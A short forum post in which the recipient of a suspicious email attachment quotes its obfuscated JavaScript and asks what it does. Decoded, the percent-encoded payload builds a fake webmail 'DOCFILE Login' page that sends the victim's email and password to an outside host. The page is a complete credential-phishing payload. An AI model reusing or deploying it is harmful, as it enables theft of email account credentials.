I get file in email

I get weird email with file, I opened it with notebook++ and see that JS, what it for and what its doing?

<script language="javascript">document.write( unescape( '%3C%74%61%62%6C%65%20%62%67%63%6F%6C%6F%72%3D%22%23%66%66%66%66%66%66%22%20%62%6F%72%64%65%72%3D%22%30%22%20%63%65%6C%6C%70%61%64%64%69%6E%67%3D%22%30%22%20%63%65%6C%6C%73%70%61%63%69%6E%67%3D%22%30%22%20%73%74%79%6C%65%3D%22%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%26%71%75%6F%74%3B%54%69%6D%65%73%20%4E%65%77%20%52%6F%6D%61%6E%26%71%75%6F%74%3B%3B%22%20%77%69%64%74%68%3D%22%31%30%30%25%22%3E%0A%09%3C%74%62%6F%64%79%3E%0A%09%09%3C%74%72%3E%0A%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%63%65%6E%74%65%72%22%3E%0A%09%09%09%3C%63%65%6E%74%65%72%3E%3C%69%6D%67%20%61%6C%74%3D%22%4A%6B%64%69%7A%61%69%6E%73%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%6C%6F%67%6F%2E%63%6C%65%61%72%62%69%74%2E%63%6F%6D%2F%77%77%77%2E%6A%6B%64%69%7A%61%69%6E%73%2E%6C%76%2E%43%4F%4D%22%20%73%74%79%6C%65%3D%22%77%69%64%74%68%3A%20%31%32%38%70%78%3B%20%68%65%69%67%68%74%3A%20%31%32%38%70%78%3B%22%20%2F%3E%3C%62%72%20%2F%3E%0A%09%09%09%3C%73%6D%61%6C%6C%3E%56%69%65%77%4D%61%69%6C%20%76%65%72%73%69%6F%6E%20%31%2E%34%2E%32%33%20%5B%53%56%4E%5D%3C%62%72%20%2F%3E%0A%09%09%09%42%79%20%74%68%65%20%45%44%4F%43%4D%61%69%6C%20%50%72%6F%6A%65%63%74%20%54%65%61%6D%3C%2F%73%6D%61%6C%6C%3E%0A%09%09%09%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%6B%69%6C%6F%6E%73%30%70%2E%67%61%79%2F%72%6F%6E%2F%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%20%6E%61%6D%65%3D%22%6C%6F%67%69%6E%5F%66%6F%72%6D%22%3E%0A%09%09%09%3C%74%61%62%6C%65%20%62%67%63%6F%6C%6F%72%3D%22%23%66%66%66%66%66%66%22%20%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%33%35%30%22%3E%0A%09%09%09%09%3C%74%62%6F%64%79%3E%0A%09%09%09%09%09%3C%74%72%3E%0A%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%63%65%6E%74%65%72%22%20%62%67%63%6F%6C%6F%72%3D%22%23%64%63%64%63%64%63%22%3E%3C%62%3E%4A%6B%64%69%7A%61%69%6E%73%20%44%4F%43%46%49%4C%45%20%4C%6F%67%69%6E%3C%2F%62%3E%3C%2F%74%64%3E%0A%09%09%09%09%09%3C%2F%74%72%3E%0A%09%09%09%09%09%3C%74%72%3E%0A%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%6C%65%66%74%22%20%62%67%63%6F%6C%6F%72%3D%22%23%66%66%66%66%66%66%22%3E%0A%09%09%09%09%09%09%3C%74%61%62%6C%65%20%61%6C%69%67%6E%3D%22%63%65%6E%74%65%72%22%20%62%67%63%6F%6C%6F%72%3D%22%23%66%66%66%66%66%66%22%20%62%6F%72%64%65%72%3D%22%30%22%20%69%64%3D%22%6C%6F%67%69%6E%5F%74%61%62%6C%65%22%20%77%69%64%74%68%3D%22%31%30%30%25%22%3E%0A%09%09%09%09%09%09%09%3C%74%62%6F%64%79%3E%0A%09%09%09%09%09%09%09%09%3C%74%72%3E%0A%09%09%09%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%72%69%67%68%74%22%20%69%64%3D%22%75%73%65%72%6E%61%6D%65%5F%74%64%22%20%77%69%64%74%68%3D%22%33%30%25%22%3E%45%6D%61%69%6C%3A%3C%2F%74%64%3E%0A%09%09%09%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%6C%65%66%74%22%20%77%69%64%74%68%3D%22%37%30%25%22%3E%3C%69%6E%70%75%74%20%69%64%3D%22%74%72%79%79%22%20%6E%61%6D%65%3D%22%74%72%79%79%22%20%74%79%70%65%3D%22%74%65%78%74%22%20%76%61%6C%75%65%3D%22%69%6E%66%6F%40%6A%6B%64%69%7A%61%69%6E%73%2E%6C%76%20%22%20%2F%3E%3C%2F%74%64%3E%0A%09%09%09%09%09%09%09%09%3C%2F%74%72%3E%0A%09%09%09%09%09%09%09%09%3C%74%72%3E%0A%09%09%09%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%72%69%67%68%74%22%20%69%64%3D%22%73%65%63%72%65%74%6B%65%79%5F%74%64%22%20%77%69%64%74%68%3D%22%33%30%25%22%3E%50%61%73%73%77%6F%72%64%3A%3C%2F%74%64%3E%0A%09%09%09%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%6C%65%66%74%22%20%77%69%64%74%68%3D%22%37%30%25%22%3E%3C%69%6E%70%75%74%20%69%64%3D%22%70%72%79%79%22%20%6E%61%6D%65%3D%22%70%72%79%79%22%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%2F%3E%3C%2F%74%64%3E%0A%09%09%09%09%09%09%09%09%3C%2F%74%72%3E%0A%09%09%09%09%09%09%09%3C%2F%74%62%6F%64%79%3E%0A%09%09%09%09%09%09%3C%2F%74%61%62%6C%65%3E%0A%09%09%09%09%09%09%3C%2F%74%64%3E%0A%09%09%09%09%09%3C%2F%74%72%3E%0A%09%09%09%09%09%3C%74%72%3E%0A%09%09%09%09%09%09%3C%74%64%20%61%6C%69%67%6E%3D%22%6C%65%66%74%22%3E%0A%09%09%09%09%09%09%3C%63%65%6E%74%65%72%3E%3C%69%6E%70%75%74%20%69%64%3D%22%73%6D%73%75%62%6D%69%74%22%20%6E%61%6D%65%3D%22%73%6D%73%75%62%6D%69%74%22%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%20%76%61%6C%75%65%3D%22%4C%6F%67%69%6E%22%20%2F%3E%3C%2F%63%65%6E%74%65%72%3E%0A%09%09%09%09%09%09%3C%2F%74%64%3E%0A%09%09%09%09%09%3C%2F%74%72%3E%0A%09%09%09%09%3C%2F%74%62%6F%64%79%3E%0A%09%09%09%3C%2F%74%61%62%6C%65%3E%0A%09%09%09%3C%2F%66%6F%72%6D%3E%0A%09%09%09%3C%2F%63%65%6E%74%65%72%3E%0A%09%09%09%3C%2F%74%64%3E%0A%09%09%3C%2F%74%72%3E%0A%09%3C%2F%74%62%6F%64%79%3E%0A%3C%2F%74%61%62%6C%65%3E%0A' ) );</script>

If someone know, if didn’t know, don’t try this, this can be malware/spyware

I didn’t try anything, only want to know what its do